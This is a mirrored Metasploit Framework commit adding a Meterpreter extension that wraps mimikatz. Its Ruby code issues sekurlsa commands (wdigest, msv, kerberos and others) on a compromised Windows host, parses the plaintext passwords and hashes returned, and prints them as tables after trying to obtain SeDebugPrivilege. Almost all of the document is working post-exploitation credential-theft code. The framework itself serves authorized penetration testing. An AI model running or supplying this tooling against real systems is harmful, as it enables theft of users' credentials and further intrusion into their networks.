1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00

Land #1747, mimikatz meterpreter extension

[Closes #1747]

See rapid7/meterpreter#9
This commit is contained in:
James Lee 2013-04-29 14:45:07 -05:00
commit d53d6370b3
5 changed files with 313 additions and 0 deletions

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,118 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
require 'rex/post/meterpreter/extensions/mimikatz/tlv'
require 'csv'
module Rex
module Post
module Meterpreter
module Extensions
module Mimikatz
###
#
# Mimikatz extension - grabs credentials from windows memory.
#
# Benjamin DELPY `gentilkiwi`
# http://blog.gentilkiwi.com/mimikatz
#
# extension converted by Ben Campbell (Meatballs)
###
class Mimikatz < Extension
def initialize(client)
super(client, 'mimikatz')
client.register_extension_aliases(
[
{
'name' => 'mimikatz',
'ext' => self
},
])
end
def send_custom_command(function, args=[])
request = Packet.create_request('mimikatz_custom_command')
request.add_tlv(TLV_TYPE_MIMIKATZ_FUNCTION, function)
args.each do |a|
request.add_tlv(TLV_TYPE_MIMIKATZ_ARGUMENT, a)
end
response = client.send_request(request)
return Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
end
def parse_creds_result(result)
details = CSV.parse(result)
accounts = []
details.each do |acc|
account = {
:authid => acc[0],
:package => acc[1],
:user => acc[2],
:domain => acc[3],
:password => acc[4]
}
accounts << account
end
return accounts
end
def parse_ssp_result(result)
details = CSV.parse(result)
accounts = []
details.each do |acc|
ssps = acc[4].split(' }')
ssps.each do |ssp|
s_acc = ssp.split(' ; ')
user = s_acc[0].split('{ ')[1]
account = {
:authid => acc[0],
:package => acc[1],
:user => user,
:domain => s_acc[1],
:password => s_acc[2],
:orig_user => acc[2],
:orig_domain => acc[3]
}
accounts << account
end
end
return accounts
end
def wdigest
result = send_custom_command('sekurlsa::wdigest')
return parse_creds_result(result)
end
def msv
result = send_custom_command('sekurlsa::msv')
return parse_creds_result(result)
end
def livessp
result = send_custom_command('sekurlsa::livessp')
return parse_creds_result(result)
end
def ssp
result = send_custom_command('sekurlsa::ssp')
return parse_ssp_result(result)
end
def tspkg
result = send_custom_command('sekurlsa::tspkg')
return parse_creds_result(result)
end
def kerberos
result = send_custom_command('sekurlsa::kerberos')
return parse_creds_result(result)
end
end
end; end; end; end; end

View File

@ -0,0 +1,16 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Mimikatz
TLV_TYPE_MIMIKATZ_RESULT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1)
TLV_TYPE_MIMIKATZ_FUNCTION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2)
TLV_TYPE_MIMIKATZ_ARGUMENT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
end
end
end
end
end

View File

@ -0,0 +1,179 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter'
module Rex
module Post
module Meterpreter
module Ui
###
#
# Mimikatz extension - grabs credentials from windows memory.
#
# Benjamin DELPY `gentilkiwi`
# http://blog.gentilkiwi.com/mimikatz
#
# extension converted by Ben Campbell (Meatballs)
###
class Console::CommandDispatcher::Mimikatz
Klass = Console::CommandDispatcher::Mimikatz
include Console::CommandDispatcher
#
# Initializes an instance of the priv command interaction.
#
def initialize(shell)
super
end
#
# List of supported commands.
#
def commands
{
"mimikatz_command" => "Run a custom commannd",
"wdigest" => "Attempt to retrieve wdigest creds",
"msv" => "Attempt to retrieve msv creds (hashes)",
"livessp" => "Attempt to retrieve livessp creds",
"ssp" => "Attempt to retrieve ssp creds",
"tspkg" => "Attempt to retrieve tspkg creds",
"kerberos" => "Attempt to retrieve kerberos creds"
}
end
@@command_opts = Rex::Parser::Arguments.new(
"-f" => [true, "The function to pass to the command."],
"-a" => [true, "The arguments to pass to the command."],
"-h" => [false, "Help menu."]
)
def cmd_mimikatz_command(*args)
if (args.length == 0)
args.unshift("-h")
end
cmd_args = nil
cmd_func = nil
arguments = []
@@command_opts.parse(args) { |opt, idx, val|
case opt
when "-a"
cmd_args = val
when "-f"
cmd_func = val
when "-h"
print(
"Usage: mimikatz_command -f func -a args\n\n" +
"Executes a mimikatz command on the remote machine.\n" +
"e.g. mimikatz_command -f sekurlsa::wdigest -a \"full\"\n" +
@@command_opts.usage)
return true
end
}
unless cmd_func
print_error("You must specify a function with -f")
return true
end
if cmd_args
arguments = cmd_args.split(" ")
end
print client.mimikatz.send_custom_command(cmd_func, arguments)
print_line
end
def mimikatz_request(provider, method)
get_privs
print_status("Retrieving #{provider} credentials")
accounts = method.call
table = Rex::Ui::Text::Table.new(
'Header' => "#{provider} credentials",
'Indent' => 0,
'SortIndex' => 4,
'Columns' =>
[
'AuthID', 'Package', 'Domain', 'User', 'Password'
]
)
accounts.each do |acc|
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
end
table.print
return true
end
def cmd_wdigest(*args)
method = Proc.new { client.mimikatz.wdigest }
mimikatz_request("wdigest", method)
end
def cmd_msv(*args)
method = Proc.new { client.mimikatz.msv }
mimikatz_request("msv", method)
end
def cmd_livessp(*args)
method = Proc.new { client.mimikatz.livessp }
mimikatz_request("livessp", method)
end
def cmd_ssp(*args)
method = Proc.new { client.mimikatz.ssp }
mimikatz_request("ssp", method)
end
def cmd_tspkg(*args)
method = Proc.new { client.mimikatz.tspkg }
mimikatz_request("tspkg", method)
end
def cmd_kerberos(*args)
method = Proc.new { client.mimikatz.kerberos }
mimikatz_request("kerberos", method)
end
def get_privs
unless system_check
print_status("Attempting to getprivs")
privs = client.sys.config.getprivs
unless privs.include? "SeDebugPrivilege"
print_warning("Did not get SeDebugPrivilege")
else
print_good("Got SeDebugPrivilege")
end
else
print_good("Running as SYSTEM")
end
end
def system_check
unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM")
print_warning("Not currently running as SYSTEM")
return false
end
return true
end
#
# Name for this dispatcher
#
def name
"Mimikatz"
end
end
end
end
end
end